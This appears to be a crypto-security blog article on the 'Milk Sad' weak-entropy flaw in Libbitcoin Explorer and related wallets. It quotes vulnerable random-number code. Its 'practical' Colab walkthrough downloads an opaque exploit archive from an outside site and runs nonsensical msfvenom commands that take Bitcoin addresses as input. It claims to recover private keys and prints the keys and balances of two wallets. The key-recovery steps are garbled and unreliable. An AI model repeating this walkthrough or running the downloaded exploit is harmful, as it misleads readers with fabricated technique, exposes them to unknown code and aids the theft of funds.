Slowmist researchers conduct regular research into the security of the Bitcoin blockchain . They disclosed a vulnerability in the Libbitcoin Explorer 3.x library , which allowed attackers to steal more $ 900 000
from Bitcoin Wallets ( BTC ) users.
According to analysts, this vulnerability may also affect users Ethereum, Ripple, Dogecoin, Solana, Litecoin, Bitcoin Cash и Zcash,
who use it Libbitcoin
to create accounts.
Researchers gave the code name for this vulnerability ” Milk Sad “
Было предложено использовать первые два слова первого мнемонического секрета BIP39, сгенерированного bx нулевым временем
Technical description
Technical Description CVE-2023-39910
The cryptocurrency wallet entropy filling mechanism used in Libbitcoin Explorer 3.0.0–3.6.0 is weak, also known as the Milk Sad problem. Using the Mersenne Twister mt19937 PRNG limits the internal entropy to 32 bits regardless of settings. This allows remote attackers to recover any wallet private keys generated from the entropy results of “bxseed” and steal funds. (Affected users need to transfer funds to a new secure cryptocurrency wallet)
Weak entropy in Cake Wallet
Cake Wallet
used Dart’s insecure Random() function to generate wallet seeds :
Uint8List randomBytes(int length, {bool secure = false}) {
assert(length > 0);
final random = secure ? Random.secure() : Random();
final ret = Uint8List(length);
for (var i = 0; i < length; i++) {
ret[i] = random.nextInt(256);
}
return ret;
}
This can be a real problem given that the function
Dart Random()
can revert to 0 or system time.
Random::Random() {
uint64_t seed = FLAG_random_seed;
if (seed == 0) {
Dart_EntropySource callback = Dart::entropy_source_callback();
if (callback != nullptr) {
if (!callback(reinterpret_cast<uint8_t*>(&seed), sizeof(seed))) {
// Callback failed. Reset the seed to 0.
seed = 0;
}
}
}
if (seed == 0) {
// We did not get a seed so far. As a fallback we do use the current time.
seed = OS::GetCurrentTimeMicros();
}
Initialize(seed);
}
Funds from every wallet created using the Trust Wallet browser extension could be stolen without any user intervention.
Just recently, the Donjon security research team at Ledger discovered a critical vulnerability in this Trust Wallet browser extension , allowing an attacker to steal all assets of any wallet created using this extension without any user interaction. By knowing an account’s address, you can immediately determine its private key and then gain access to all of its funds. Below are details about the vulnerability, how Ledger Donjon discovered it, its impact over time, an assessment of the affected assets, and how Trust Wallet responded to patch it. But let’s start with a reminder of the basics.
It is difficult to demonstrate that random numbers are correct, and a poor but not fatally flawed random number generator can easily fool an observer. For good randomness, we need a uniform distribution of bits and bytes (and even all chunk sizes) and unpredictability. It should be impossible for the sequence observer to have any information about the next part of the generated sequence.
Because achieving these properties is incredibly difficult, the cryptocurrency space tries to avoid relying on randomness as much as possible, but at one stage we will still need it: when we create a new wallet.
You’re probably already familiar with your mnemonic – 12 to 24 English words that allow you to back up your wallet (if not, you can read the Ledger Academy article on this very topic).
This mnemonic encodes 16 to 32 bytes of entropy according to the BIP 39 standard . The quality of this entropy is critical as it will be the source code of all keys used by your wallet across all chains, following the deterministic inference process defined by the BIP 32 and BIP 44 standards .
The vulnerable version
Trust Wallet
bx
has the same basic, fatal flaw: generating wallet entropy from an inappropriateMT19937 Mersenne Twister.
bx algorithm additionally uses some clock information to populate MT19937, but this is of little consequence for practical offline brute-force attacks carried out by remote attackers.This is still the same limited 32-bit key space that attackers can completely comb through.To the best of our knowledge, Trust Wallet only creates wallets based on the 12-word BIP39 mnemonic, which locks entropy requirements (and thus PRNG usage) to 128 bits.bx
more is flexible and generates 128-bit, 192-bit, 256-bit output (and more).More options mean more room to search, but are wallets created the samebx seed -b 128
as wallets created byTrust Wallet
?As it turned out, no – due to the nuance in the use of PRNG.The algorithmMT19937 Mersenne Twister
used byTrust Wallet
bx
is the same, but the output is used slightly differently.When filling an entropy array with data, uses a single 32-bitPRNG Trust Wallet
output , takes the low-order 8 bits of that output to fill the array, and throws out the remaining 24 bits via bit-and-to /Random.cpp :MT19937
Wasm/
& 0x000000ff src
// Copyright © 2017-2022 Trust Wallet.
//
[...]
void random_buffer(uint8_t* buf, size_t len) {
std::mt19937 rng(std::random_device{}());
std::generate_n(buf, len, [&rng]() -> uint8_t { return rng() & 0x000000ff; });
return;
}
Full detailed documentation of the theoretical part can be studied in the blog: Ledger Donjon , as well as in the documentation: Milk Sad
Let’s move on to the practical part:
(You can open the finished file from Jupyter Notebook and upload it to Google Colab notebook )
https://colab.research.google.com/drive/1OhspSm7GBGiqv3WfhAqU5SJ_BgXIbUh3
Let’s look at real examples of extracting the private key of a Bitcoin Wallet using a vulnerability in the Libbitcoin Explorer 3.x library .
First Bitcoin Wallet : In September
2023
there was a theft in the amount of:40886.76
US dollars // BITCOIN:1.17536256 BTC
Vulnerability_in_Libbitcoin_Explorer_3_x_library.ipynb
Let’s open the Google Colab service using the link: https://colab.research.google.com
Click on
"+"
and “Create a new notepad”
Install Ruby in Google Colab
To run the programs we need, we will install the object-oriented programming language Ruby
!sudo apt install ruby-full
Let’s check the installation version
!ruby --version
Let’s install a library
'bitcoin-ruby'
for interacting with the Bitcoin protocol/network
!gem install bitcoin-ruby
Let’s install a library
'ecdsa'
for implementing the Elliptic Curve Digital Signature Algorithm (ECDSA)
!gem install ecdsa
Let’s install a library
'base58'
to convert integer or binary numbers tobase58
and from.
!gem install base58
Let’s install a library
'crypto'
to simplify operations with bytes and basic cryptographic operations
!gem install crypto
Let’s install a library
'config-hash'
to simplify working with big data.
!gem install config-hash -v 0.9.0
Let’s install the Metasploit Framework and use MSFVenom
Let’s install the Metasploit Framework from GitHub and use the MSFVenom tool to create the payload.
!git clone https://github.com/rapid7/metasploit-framework.git
ls
cd metasploit-framework/
Let’s see the contents of the folder
"metasploit-framework"
ls
Options:
!./msfvenom -help
Let’s open the discovered vulnerability CVE-2023-39910
In the note we see a link to the file: pseudo_random.cpp
Let’s open the code:
libbitcoin-system Bitcoin Cross-Platform C++ Development Toolkit
Install libbitcoin-system in Google Colab:
!git clone https://github.com/libbitcoin/libbitcoin-system.git
ls
Let’s open the vulnerable file: pseudo_random.cpp using the cat utility
cat libbitcoin-system/src/crypto/pseudo_random.cpp
Let’s open the folders according to the directory:/modules/exploits/
ExploitDarlenePRO
Download "ExploitDarlenePRO"
from the catalogue:/modules/exploits/
cd modules/
ls
cd exploits/
!wget https://darlene.pro/repository/e8e4973fb52934d5fb0006a47304f5099701000619d9ac79c083664e6063c579/ExploitDarlenePRO.zip
Unzip the contents ExploitDarlenePRO.zip
using the utilityunzip
!unzip ExploitDarlenePRO.zip
Let’s go through the catalogue:/ExploitDarlenePRO/
ls
cd ExploitDarlenePRO/
ls
To run the exploit, let’s go back to Metasploit Framework
cd /
cd content/metasploit-framework/
ls
We need to identify our LHOST (Local Host)
attacking IP-address
virtual machine.
Let’s run the commands:
!ip addr
!hostname -I
Let’s use the tool to create a payload MSFVenom
For operation, select Bitcoin Wallet: 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2
Launch command:
!./msfvenom 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p libbitcoin-system/src/crypto LHOST=172.28.0.12 -f CPP -o pseudo_random.cpp
Result:
1100001100100111111110101100011000111101101101111110000011001100110100010111000001101100000000111110101101011011111000001101101100101010101100111110001101111010010001010001101110000100000001010100000100000000110110000101111100110001010011100000111110001011
We need to save the resulting binary format to a file: binary.txt
let’s use the utilityecho
Team:
!echo '1100001100100111111110101100011000111101101101111110000011001100110100010111000001101100000000111110101101011011111000001101101100101010101100111110001101111010010001010001101110000100000001010100000100000000110110000101111100110001010011100000111110001011' > binary.txt
Convert the binary format to the HEX format to obtain the private key of the Bitcoin Wallet:
Let’s use the code:
binaryFile = open("binary.txt", "r")
binaryFile = binaryFile.readlines()
hexFile = open("hex.txt", "w+")
# loop through each line of binaryFile then convert and write to hexFile
for line in binaryFile:
binaryCode = line.replace(" ", "")
hexCode = hex(int(binaryCode, 2))
hexCode = hexCode.replace("0x", "").upper().zfill(4)
hexFile.write(hexCode + "\n")
# close hexFile
hexFile.close()
Let’s open the file: hex.txt
cat hex.txt
Private Key Found!
Let’s install library Bitcoin
!pip3 install bitcoin
Let’s run the code to check the compliance of Bitcoin Addresses:
from bitcoin import *
with open("hex.txt","r") as f:
content = f.readlines()
# you may also want to remove whitespace characters like `\n` at the end of each line
content = [x.strip() for x in content]
f.close()
outfile = open("privtoaddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
Let’s open the file: privtoaddr.txt
cat privtoaddr.txt
Result:
C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B:12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2
That’s right! The private key corresponds to the Bitcoin Wallet.
Let’s open bitaddress and check:
ADDR: 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2
WIF: L3m4xHPEnE2yM1JVAY2xTzraJsyPERxw2Htt3bszbTiDn5JiZCcy
HEX: C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B
https://www.blockchain.com/en/explorer/addresses/btc/12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2
BALANCE: $ 40886.76
Let’s look at the second example:
№2
Let’s look at the second example of extracting the private key of a Bitcoin Wallet using a vulnerability in the Libbitcoin Explorer 3.x library .
Second Bitcoin Wallet : In September 2023, there was a theft in the amount of:
19886.91
USD // BITCOIN:0.58051256 BTC
Let’s use the vulnerable file again: pseudo_random.cpp
Launch command:
!./msfvenom 1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p libbitcoin-system/src/crypto LHOST=172.28.0.12 -f CPP -o pseudo_random.cpp
Result:
111100100010010000111110010011001000101100111100000101110100001001100001011010111111110110111111100001000100011111001010000011011101001000101000100001100111001010100110101101001100011001001111101101010000000011101101111111110101101110110100110000110111100
We need to save the resulting binary format to a file: binary.txt
let’s use the utility echo
Team:
!echo '111100100010010000111110010011001000101100111100000101110100001001100001011010111111110110111111100001000100011111001010000011011101001000101000100001100111001010100110101101001100011001001111101101010000000011101101111111110101101110110100110000110111100' > binary.txt
Convert the binary format to the HEX format to obtain the private key of the Bitcoin Wallet:
Let’s use the code:
binaryFile = open("binary.txt", "r")
binaryFile = binaryFile.readlines()
hexFile = open("hex.txt", "w+")
# loop through each line of binaryFile then convert and write to hexFile
for line in binaryFile:
binaryCode = line.replace(" ", "")
hexCode = hex(int(binaryCode, 2))
hexCode = hexCode.replace("0x", "").upper().zfill(4)
hexFile.write(hexCode + "\n")
# close hexFile
hexFile.close()
Let’s open the file: hex.txt
cat hex.txt
Private Key Found!
Let’s run the code to check the compliance of Bitcoin Addresses:
from bitcoin import *
with open("hex.txt","r") as f:
content = f.readlines()
# you may also want to remove whitespace characters like `\n` at the end of each line
content = [x.strip() for x in content]
f.close()
outfile = open("privtoaddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
Let’s open the file: privtoaddr.txt
cat privtoaddr.txt
Result:
79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC:1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe
That’s right! The private key corresponds to the Bitcoin Wallet.
Let’s open bitaddress and check:
ADDR: 1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe
WIF: L1H4Eu2et8TWYQ3kv9grtPGshikGN398MVJkN6zYMikcpQTB96UN
HEX: 79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC
https://www.blockchain.com/en/explorer/addresses/btc/1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe
BALANCE: $ 19886.91
References:
- [2] RFC 8682 TinyMT32 Pseudorandom Number Generator [PRNG] (M. Saito Hiroshima University M. Matsumoto Hiroshima University V. Roca, Ed. INRIA E. Baccelli)
- [3] Introduction to Mersenne Twister Pseudorandom number generator Qiao Zhou [June 30, 2016]
- [4] High-Performance Pseudo-Random Number Generation on Graphics Processing Units (Nimalan Nandapalan , Richard P. Brent , Lawrence M. Murray , and Alistair Rendell)
- [5] The Mersenne Twister Output Stream Postprocessing (Yurii Shcherbyna, Nadiia Kazakova, Oleksii Fraze-Frazenko)
- [6] Cellular Automaton–Based Emulation of the Mersenne Twister (Kamalika Bhattacharjee, Nitin More, Shobhit Kumar Singh, Nikhil Verma)
- [7] Generating Efficient and High-Quality Pseudo-Random Behavior on Automata Processors (Jack Wadden, Nathan Brunelle, Ke Wang, Mohamed El-Hadedy, Gabriel Robins, Mircea Stan and Kevin Skadron)
This material was created for the CRYPTO DEEP TECH portal to ensure financial security of data and elliptic curve cryptography secp256k1 against weak ECDSA signatures in the BITCOIN cryptocurrency. The creators of the software are not responsible for the use of materials.
Telegram: https://t.me/cryptodeeptech
Video: https://dzen.ru/video/watch/65478a2f6d9f3f7ec9641804
Source: https://cryptodeeptools.ru/milk-sad-vulnerability-in-libbitcoin-explorer